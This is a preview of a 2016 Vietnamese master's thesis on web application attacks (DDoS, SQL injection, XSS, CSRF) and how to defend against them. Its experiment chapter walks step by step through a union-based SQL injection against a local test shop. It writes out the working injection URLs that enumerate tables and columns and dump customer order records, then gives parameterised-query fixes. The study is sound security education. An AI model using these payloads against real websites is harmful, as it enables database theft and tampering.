Các hình thức tấn công và giải pháp phòng chống tấn công ứng dụng web

73 248 0
Các hình thức tấn công và giải pháp phòng chống tấn công ứng dụng web

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

BỘ GIÁO DỤC VÀ ĐÀO TẠO VIỆN ĐẠI HỌC MỞ HÀ NỘI LUẬN VĂN THẠC SỸ CHUYÊN NGÀNH: CƠNG NGHỆ THƠNG TIN CÁC HÌNH THỨC TẤN CƠNG VÀ GIẢI PHÁP PHỊNG CHỐNG TẤN CƠNG ỨNG DỤNG WEB NGUYỄN TRUNG KIÊN HÀ NỘI – 2016 BỘ GIÁO DỤC VÀ ĐÀO TẠO VIỆN ĐẠI HỌC MỞ HÀ NỘI LUẬN VĂN THẠC SỸ CÁC HÌNH THỨC TẤN CƠNG VÀ GIẢI PHÁP PHỊNG CHỐNG TẤN CƠNG ỨNG DỤNG WEB NGUYỄN TRUNG KIÊN CHUYÊN NGÀNH : CÔNG NGHỆ THÔNG TIN Mà SỐ: 60.48.02.018 NGƯỜI HƯỚNG DẪN KHOA HỌC: PGS.TS ĐOÀN VĂN BAN HÀ NỘI – 2016 LỜI CAM ĐOAN Tác giả xin cam đoan rằng: Số liệu kết nghiên cứu luận văn hoàn toàn trung thực chưa sử dụng công bố cơng trình khác Mọi giúp đỡ cho việc thực luận văn cám ơn thơng tin trích dẫn luận văn ghi rõ nguồn gốc Tác giả luận văn i LỜI CẢM ƠN Tác giả xin chân thành cảm ơn thầy tận tình hướng dẫn, giảng dạy suốt trình học tập, nghiên cứu rèn luyện Viện Đại học Mở Hà Nội Xin chân thành cám ơn thầy giáo hướng dẫn PGS TS Đoàn Văn Ban giành nhiều thời gian tâm huyết, trực tiếp hướng dẫn tận tình, bảo tạo điều kiện thuận lợi cho tơi suốt q trình thực nghiên cứu đề tài hoàn chỉnh luận văn thạc sĩ chuyên ngành công nghệ thông tin Cuối cùng, tác giả xin chân thành cảm ơn gia đình bạn bè động viên, khích lệ, sẻ chia, giúp đỡ đồng hành sống trình học tập, nghiên cứu Hà Nội, ngày … tháng … năm 2016 Tác giả luận văn ii MỤC LỤC DANH MỤC CÁC KÝ HIỆU, CÁC TỪ VIẾT TẮT vi DANH MỤC CÁC BẢNG viii DANH MỤC HÌNH VẼ, BIỀU ĐỒ ix LỜI MỞ ĐẦU CHƯƠNG CÁC DỊCH VỤ WEB VÀ NGUY CƠ BỊ TẤN CÔNG 1.1 Các khái niệm ứng dụng web 1.1.1 Công nghệ Web 2.0 1.1.2 Ngơn ngữ lập trình 1.1.3 Hosting tên miền 1.1.4 Cơ sở liệu 1.1.5 Phiên làm việc 1.1.6 Web service 11 1.2 Tình hình an ninh mạng nước giới 17 1.3 Nguy bị công ứng dụng web 19 1.4 Kết luận 20 CHƯƠNG KỸ THUẬT TẤN CƠNG VÀ BIỆN PHÁP PHỊNG TRÁNH 21 2.1 Tấn công từ chối dịch vụ 21 2.1.1 Khái niệm 21 2.1.2 Cách thức công 22 2.1.3 Các dạng công 22 2.1.4 Khó khăn việc phòng chống 24 2.1.5 Biện pháp phòng chống 25 2.2 Tấn công SQL Injection 28 2.2.1 Khái niệm 28 2.2.2 Cách thức công 28 2.2.3 Các dạng công 30 iii 2.2.4 2.3 Biện pháp phòng tránh 31 Tấn công XSS 31 2.3.1 Khái niệm 31 2.3.2 Cách thức công 32 2.3.3 Các dạng công 33 2.3.4 Biện pháp phòng chống 34 2.4 Cross-site Request Forgery (CSRF) 35 2.4.1 Khái niệm 35 2.4.2 Cách thức công 36 2.4.3 Các dạng công 36 2.4.4 Biện pháp phòng chống 36 2.5 Một số hình thức công khác 37 2.5.1 Lỗi Heartbleed 37 2.5.2 Khai thác qua Phishing 37 2.5.3 Tấn công phần mềm độc hại 38 2.6 Một số công cụ công 40 2.6.1 Maxisploit Scanner 40 2.6.2 Paros Proxy 42 2.6.3 Havij 42 2.6.4 Sqlmap 43 2.7 Kết luận 45 CHƯƠNG THỰC NGHIỆM PHỊNG CHỐNG TẤN CƠNG WEBSITE SỬ DỤNG KỸ THUẬT SQL INJECTION 46 3.1 Đặt toán 46 3.1.1 Mơ tả tốn cơng phòng thủ 46 3.1.2 Tìm hiểu website 47 3.2 3.2.1 Tấn công ứng dụng web 51 Chọn website công 51 iv 3.2.2 Xác định số cột bảng 51 3.2.3 Xem tên phiên sở liệu 52 3.2.4 Xem danh sách bảng 52 3.2.5 Xem trường liệu 53 3.2.6 Xem liệu bảng 54 3.3 Kết thực nghiệm 57 3.4 Giải pháp phòng chống cơng 57 3.5 Kết luận 58 KẾT LUẬN VÀ HƯỚNG PHÁT TRIỂN 59 TÀI LIỆU THAM KHẢO 61 v DANH MỤC CÁC KÝ HIỆU, CÁC TỪ VIẾT TẮT Viết tắt Tiếng Anh Tiếng Việt National Vulnerability Cơ sở liệu lỗ hổng bảo mật Database quốc gia OOP Object Oriented Programming Lập trình hướng đối tượng Php Hypertext Preprocessor Ngơn ngữ lập trình PHP FTP File Tranfer Protocol Giao thức truyền tải file HTTP HyperText Transfer Protocol Giao thức truyển tải siêu văn XML Extensible Markup Language Ngôn ngữ đánh dấu mở rộng HTML HyperText Markup Language Ngôn ngữ đánh dấu siêu văn SMTP Simple Mail Transfer Protocol Giao thức truyền tải thư đơn giản SOAP Simple Object Access Protocol Giao thức truy cập đối tượng đơn giản NVD WSDL UDDI SGML API Web Service Description Ngôn ngữ mô tả Web service Language Universal Description, Quy tắc đăng ký, tìm kiếm thơng tin Discovery and Integration Web service Standard Generalized Markup Ngôn ngữ đánh dấu tổng quát hóa Language chuẩn Application Programming Giao diện lập trình ứng dụng Interface JMS Java Message Services Gửi nhận tin client-server SSL Secure Sockets Layer Tầng đệm bảo mật Hypertext Transfer Protocol Giao thức truyền tải siêu văn kèm Secure bảo mật PKI Public Key Infrastructure Hạ tầng sở khóa cơng khai DDoS Distributed Denial of Service Tấn công từ chối dịch vụ phân tán XSS Cross Site Scripting Tấn công chèn mã độc DNS Domain Name System Hệ thống tên miền HTTPS vi POP3 Post Office Protocol version Giao thức lấy thư điện tử RAM Random Access Memory CPU Central Processing Unit Bộ xử lý trung tâm CSDL Database Cơ sở liệu DOM Document Object Model Mơ hình đối tượng tài liệu CSRF Cross Site Request Forgery VPN Virtual Private Network Bộ nhớ truy cập ngẫu nhiên máy tính Kỹ thuật công dựa vào tài khoản xác thực Mạng riêng ảo vii DANH MỤC CÁC BẢNG Bảng 3.1 Thống kê liệu bảng danh mục sản phẩm 55 Bảng 3.2 Thống kê liệu bảng sản phẩm 55 Bảng 3.3 Thống kê liệu bảng đặt mua khách hàng 56 viii Hiển thị danh mục sản phẩm, danh mục lưu sở liệu Các sản phẩm đưa vào danh mục Hình 0.2 Giao diện danh mục sản phẩm website Chức đặt mua hàng, dựa vào thông tin sản phẩm để đặt mua 48 Hình 0.3 Giao diện chức giỏ hàng Chức toán đơn hàng 49 Hình 0.4 Giao diện chức tốn đơn hàng Trên trang web cần bố trí số form nhập thơng tin form tìm kiếm, form đăng ký, đăng nhập 50 3.2 Tấn công ứng dụng web 3.2.1 Chọn website công Chọn mục tiêu công website http://localhost/flaptop/index.php Ta bắt đầu tiến hành thực công Để kiểm tra trước hết tác giả thêm dấu nháy vào sau index_id=1 Hình 0.5 Đường dẫn kiểm tra lỗi SQL injection Tác giả nhận lỗi sau: Hình 0.6 Lỗi kiểm tra SQL injection Như website bị lỗ hổng SQL injection ta bắt đầu tiến hành khai thác 3.2.2 Xác định số cột bảng Tác giả phải xác định số cột bảng liệu cách sử dụng chuỗi “order by ” Sau ta tiếp tục tăng lên 2, đến thấy thông báo lỗi dừng lại Hình 0.7 Đường dẫn xác định số cột bảng Sau ta nhận thơng báo lỗi sau “Unknown column '6' in 'order clause” Nên ta nhận số cột bảng liệu 51 Hình 0.8 Thơng báo cột bị lỗi 3.2.3 Xem tên phiên sở liệu Tiếp theo, để xem tên database ta sử dụng chuỗi sau: http://localhost/flaptop/product-list.php?index_id=null union select 1,2,3,4,database()-Chú ý dấu “ ” chuỗi để comment dòng lệnh phía sau, khơng thực thi dòng lệnh Hình 0.9 Đường dẫn xác định tên sở liệu Ta nhận sở liệu có tên sau Hình 0.10 Tên sở liệu lấy Tác giả xem phiên sở liệu cách thay database() version() 3.2.4 Xem danh sách bảng Để xem database website có bảng ta sử dụng đường dẫn chứa câu lệnh sau: 52 http://localhost/flaptop/product-list.php?index_id=null union select 1,2,3,4, group_concat(table_name) from information_schema.tables where table_schema=database()-Và kết toàn tên bảng sở liệu Trong sở liệu có bảng datab_category, datab_index, datab_maker, datab_order, datab_order_product, datab_product, datab_user Hình 0.11 Danh sách bảng sở liệu 3.2.5 Xem trường liệu Để lấy trường liệu bảng, ta tiến hành theo đường dẫn có chứa câu lệnh sau http://localhost/flaptop/product-list.php?index_id=null union select 1,2,3,4 group_concat(column_name) from information_schema.columns where table_name=Tên_bảng -Bạn thay tên bảng số bảng lấy bên Nhưng trường hợp bạn cần mã hóa tên bảng sang chuỗi hex thêm 0x đầu chuỗi Nguyên nhân việc làm bạn cần filter addslashes() Như vậy, muốn xem trường bảng datab_category cần mã hóa bảng Sử dụng cơng cụ gen mã hex online như: http://codebeautify.org/string-hex-converter ta sau 53 Hình 0.12 Cơng cụ online chuyển text sang hex Và đường dẫn có chứa câu truy vấn sau http://localhost/flaptop/product-list.php?index_id=null union select 1,2,3,4, group_concat(column_name) from information_schema.columns where table_name=0x64617461625f63617465676f7279 Hình 0.13 Danh sách cột bảng datab_category Danh sách cột bảng datab_category gồm có id, title, parent_id, status, image 3.2.6 Xem liệu bảng Tác giả tiến hành xem vài liệu bảng datab_category sau 54 http://localhost/flaptop/product-list.php?index_id=null union select 1,2,3,4, group_concat(id,0x2f,title,0x2f,parent_id, 0x2f,status) from datab_category-Tác giả lấy thông tin trường bảng id, title, parent_id, status 0x2f ký tự “/” để ngăn thông tin trường liệu Mỗi ghi ngăn với dấu phẩy “,” Hình 0.14 Hiển thị liệu bảng datab_category Trên ta thấy có liệu ghi sau: Bảng 0.1 Thống kê liệu bảng danh mục sản phẩm Mã danh Tên danh mục mục Danh mục cha Trạng thái Laptop Tablet Mobile Desktop Dell 1 Samsung Bảng 0.2 Thống kê liệu bảng sản phẩm Mã sản Tên sản phẩm phẩm Samsung Galaxy SIII Hp Slate 500 Nhãn sản phẩm Sss3 HP1 Giá sản Số lượng phẩm kho 15800000 38 12900000 55 20 Laptop Dell Audi A4 I5 3210 Laptop Asus K43EVX917 Dell Inspiron 15R N5050 639DG6 IPAD2 3G-Wifi 32GB MC774ZP/A-B Viewsonic G-Tablet 10 inch BlackBerry Bold 9700 Black Ful Ä iện thoại HTC T8788 Su Acer Aspire S3-9512464G34IS 15350000 9750000 11390000 18790000 AM-Gtablet 8680000 B004VV6PQW 9650000 HTC T8788 1298000 S3-9512464G34IS 16990000 13 Nokia N97 32GB Nokia N97 3600000 40 15 Dell Inspiron N5010 Dell S N5010 18200000 17 SamSung GT-S5 233w GT-S5 2400000 18 SGNexus 5200000 Dell10-2 7980000 10 11 12 Google Nexus Two 19 Dell Streak DELL630M ASUS K43EVX917 Dell N5050 639DG6 MC774ZP/ABlack Bảng 0.3 Thống kê liệu bảng đặt mua khách hàng Mã đơn đặt hàng 11 Mã khách Tên khách hàng hàng 51 Hoàng Linh Địa 14 Trương Định – Hoàng Mai – Hà Nội 12 Minh Khai – Hai Bà Trưng – Hà Nội Tổng tiền 41600000 19 Lâm Văn Tuyển 18 Hồng Văn Thơng Lương Tài – Bắc Ninh 11390000 Nguyễn Thống Nhất 79000000 21 56 20 54 Nguyễn Văn Linh 14 54 Nguyễn Văn Linh Đan Phượng – Hà Nội 51 Tân Mai – Hoàng Mai – Hà Nội 51 Tân Mai – Hoàng Mai – Hà Nội 56 165000000 62300000 79000000 Ngoài thao tác lấy liệu từ bảng, tác giả thêm, sửa xóa liệu bảng tìm thấy 3.3 Kết thực nghiệm Với phương pháp công sử dụng, tác giả thấy website bị dính lỗ hổng SQL Injection nghiêm trọng Qua thực nghiệm, tác giả lấy thông tin sở liệu, cấu trúc bảng sở liệu cuối lấy liệu bảng Phương pháp tin tặc sử dụng để thay đổi thông tin xóa tồn sở liệu cách dễ dàng Tác giả sử dụng số bước đơn giản, không nhiều công sức không sử dụng cơng cụ đặc biệt kiểm soát sở liệu 3.4 Giải pháp phòng chống cơng Khi hiểu ngun nhân website bị cơng SQL Injection cần vài phương pháp chống cơng phòng tránh hậu đáng tiếc Với website trên, ngun nhân lập trình viên khơng kiểm tra kỹ liệu đầu vào mà cho nối chuỗi trực tiếp vào câu truy vấn Để khắc phục chống SQL injection bạn cần làm sau: Mã hóa chuỗi liệu đầu vào Loại bỏ ký tự lạ, ký tự không hợp lệ Không sử dụng nối chuỗi câu truy vấn mà thay vào ta sử dụng parameter Điều giải thích với câu truy vấn sau SELECT * FROM tbl_user WHERE username=? AND password=? dấu hỏi chấm thể liệu người dùng nhập vào không nối trực tiếp mà truyền qua biến parameter truy vấn Thiết lập quyền cho ứng dụng xem liệu, khơng xóa cách để giảm thiểu rủi ro 57 3.5 Kết luận Thực nghiệm thực công vào website khai thác lỗ hổng bảo mật SQL Injection Đây lỗ hổng bảo mật phổ biến có hàng triệu website chưa biết dính phải lỗ hổng bảo mật Thực nghiệm thực cách thủ công để trình bày bước để cơng lấy sở liệu website Sau thực nghiệm xong, tác giả đưa hướng để xuất để ngăn chặn lỗ hổng bảo mật 58 KẾT LUẬN VÀ HƯỚNG PHÁT TRIỂN Trong luận văn này, tác giả đưa nhìn lỗ hổng bảo mật ứng dụng web Với ứng dụng web, việc cài đặt chạy ứng dụng trở lên đơn giản Bên cạnh đó, việc truy cập vào ứng dụng nơi thuận tiện cho người dùng hợp pháp thuận tiện để tin tặc cơng website Sự phát triển mạnh mẽ công nghệ thông tin, công nghệ bảo mật cũ ngày bị lỗi thời để lộ nhiều mối nguy hiểm Do đó, luận văn “Các hình thức cơng giải pháp phong chống công ứng dụng web” tìm hiểu vấn đề lỗ hổng bảo mật với ứng dụng web Luận văn đạt số kết như: Luận văn khái quát số khái niệm ứng dụng web công nghệ web, ngơn ngữ lập trình, … Luận văn tìm hiểu trình bày tình hình an ninh mạng thời gian gần Tiếp đó, luận văn nêu nguy bị công ứng dụng web Trong nội dung chính, luận văn trình bày kỹ thuật công ứng dụng web từ khái niệm, cách thức cơng đến biện pháp phòng chống cho loại công Trong thực nghiệm, luận văn tiến hành công vào ứng dụng web phát lỗ hổng bảo mật SQL Injection Tuy nhiên, luận văn tồn số hạn chế: Các kỹ thuật cơng trình bày luận văn có số lượng hạn chế Nội dung trình bày mắc lỗi thiếu sót Phần thực nghiệm chưa áp dụng hết kỹ thuật công nêu luận văn Về luận văn đạt mục tiêu đề ra, đưa nguy cơng phương án phòng thủ Trong ứng dụng web, sở liệu phần quan trọng nhất, cần bảo vệ kỹ lưỡng Với hình thức cơng ứng dụng web luận văn này, hy vọng cung cấp thông tin cho người quản trị hệ thống xác định đối tượng cần ưu tiên bảo vệ máy chủ, router hệ quản trị 59 sở liệu Cần có sách để cấu hình phân quyền truy cập vào máy chủ, truy cập vào hệ quản trị sở liệu Không nên chạy quyền cấp cao cho ứng dụng để truy cập sở liệu để phòng tránh tin tặc sử dụng để chạy câu lệnh điều khiển hệ thống Xác định nguy với hệ thống, lỗ hổng bảo mật phải thường xuyên cập nhật thông tin bảo mật Đối với nhà lập trình thiết kế web, cần đảm bảo thơng tin nhập vào từ phía người dùng thơng tin hợp lệ, phải kiểm tra kỹ, loại bỏ mã hóa ký tự lạ Việc kiểm tra liệu người dùng nhập không nên dùng javascript để thực mà phải kiểm tra liệu client server để an tồn Cần mã hóa thơng tin quan trọng, thông tin người dùng trước đưa vào lưu trữ sở liệu Thường xuyên cập nhật thông tin lỗ hổng, bảo mật để cập nhật mã lập trình cho phù hợp Đối với người dùng, khách hàng hệ thống cần đưa thông tin cảnh báo, tiến hành đổi mật thường xuyên Mật nên lưu theo ký tự phức tạp để tin tặc khó giải mã Sau sử dụng xong hệ thống, cần đăng xuất ngay, thiết lập thời gian tự đăng xuất, sử dụng phần mềm diệt virut, cảnh báo người dùng đường link khơng an tồn Về hướng phát triển đề tài, tác giả tiếp tục trình nghiên cứu tìm hiểu lỗ hổng bảo mật mới, nguy ảnh hưởng tới an ninh hệ thống tìm hướng giải quyết, phòng chống công thông qua lỗ hổng 60 TÀI LIỆU THAM KHẢO Tiếng Việt [1] Nguyễn Thanh Nghị, Tấn công từ chối dịch vụ Dos, DDoS, DRDos Hacker Vietnam Association, 2008 [2] Hồng Xn Dậu, Phân loại cơng DDoS biện pháp phòng tránh, Học Viện Cơng Nghệ Bưu Chính Viễn Thơng, 2014 [3] Lê Đình Duy, Tấn cơng kiểu SQL Injection – Tác hại cách phòng tránh, Đại học Khoa Học Tự Nhiên TPHCM, 2003 [4] Võ Đỗ Thắng, Web Application Attack & Defense, Trung tâm An ninh mạng Athena, 2007 Tiếng Anh [5] The Imperva Application Defense Center (ADC), 2015 Web application attack report, Imperva, 2015 [6] Justin Clarke, Rodrigo Marcos Alvarez, Dave Hartley, joseph Hemler, Alexander Kornobrust, Haroon Meer, Gary O’Leary-Steele, Alberto revelli, Marco Slaviero, Dafydd Stuttard, SQL Injection Attacks and Defenses, Syngress Publishing, Inc, 2009 [7] Symantec Corporation,Web Based Attacks, White Paper, 2008 [8] Seth Fogie, Jeremiah Grossman, Robert Hansen, D.Petko, Anton Rager, Cross Site Scripting Attacks: XSS Exploits and Defense, Syngress Publishing, Inc, 2007 [9] Jelena Mirkovic, Janice Martin and Peter Reiher, A Taxonomy of DDoS Attacks and DDoS Defense Mechanisms, ACM SIGCOMM Computer Communication Review, 2004 [10] Amit Klein, Sanctum Security Group, Cross Site Scripting Explained, Sanctum Inc, 2002 [11] Stephen Carter, Cross-site Request Forgery, OWASP Foundation, 2008 [12] Punam Thopate, Purva Bamm, Apeksha Kamble, Snehal Kunjir, Prof S.M.Chawre, Cross Site Scripting Attack Detection & Prevention 61 System, International Journal of Advanced Research in Computer Engineering & Technology, 2014 [13] Diallo Abdoulaye Kindy and Al-Sakib Khan Pathan, A survey on SQL Injection: Vulnerabilities, attacks, and Prevention Techniques, Department of Computer Science, International Islamic University Malaysia, Malaysia, 2011 [14] C.Anley, Advanced SQL Injection In SQL Server Application, White paper, Next Generation Security Software, 2002 [15] E M Fayo Advanced SQL Injection in Oracle Databases Technical report, Argeniss Information Security, Black Hat Briefings, Black Hat USA, 2005 [16] Amit Klein, Cross Site Scripting Explained, Sanctum Security Group, 2002 Tài liệu Internet [17] http://www.bkav.com.vn/tin_tuc_noi_bat/-/chi_tiet/383980/tong-ket-anninh-mang-nam-2015-va-du-bao-xu-huong-2016 15/6/2016 62 Truy cập ngày ... phát phòng chống lỗ hổng bảo mật ứng dụng web Phần cuối kết luận hướng phát triển cho luận văn CHƯƠNG CÁC DỊCH VỤ WEB VÀ NGUY CƠ BỊ TẤN CÔNG 1.1 Các khái niệm ứng dụng web Ứng dụng web chương... HÌNH VẼ, BIỀU ĐỒ Hình 1.1 Mơ hình cấu trúc ứng dụng website Hình 1.2 Các thành phần Web service 13 Hình 2.1 Mơ hình cơng DDoS 21 Hình 2.2 Mơ hình cơng DDoS 23 Hình. ..BỘ GIÁO DỤC VÀ ĐÀO TẠO VIỆN ĐẠI HỌC MỞ HÀ NỘI LUẬN VĂN THẠC SỸ CÁC HÌNH THỨC TẤN CƠNG VÀ GIẢI PHÁP PHỊNG CHỐNG TẤN CƠNG ỨNG DỤNG WEB NGUYỄN TRUNG KIÊN CHUYÊN NGÀNH : CÔNG NGHỆ THÔNG

Ngày đăng: 22/03/2018, 18:14

Tài liệu cùng người dùng

Tài liệu liên quan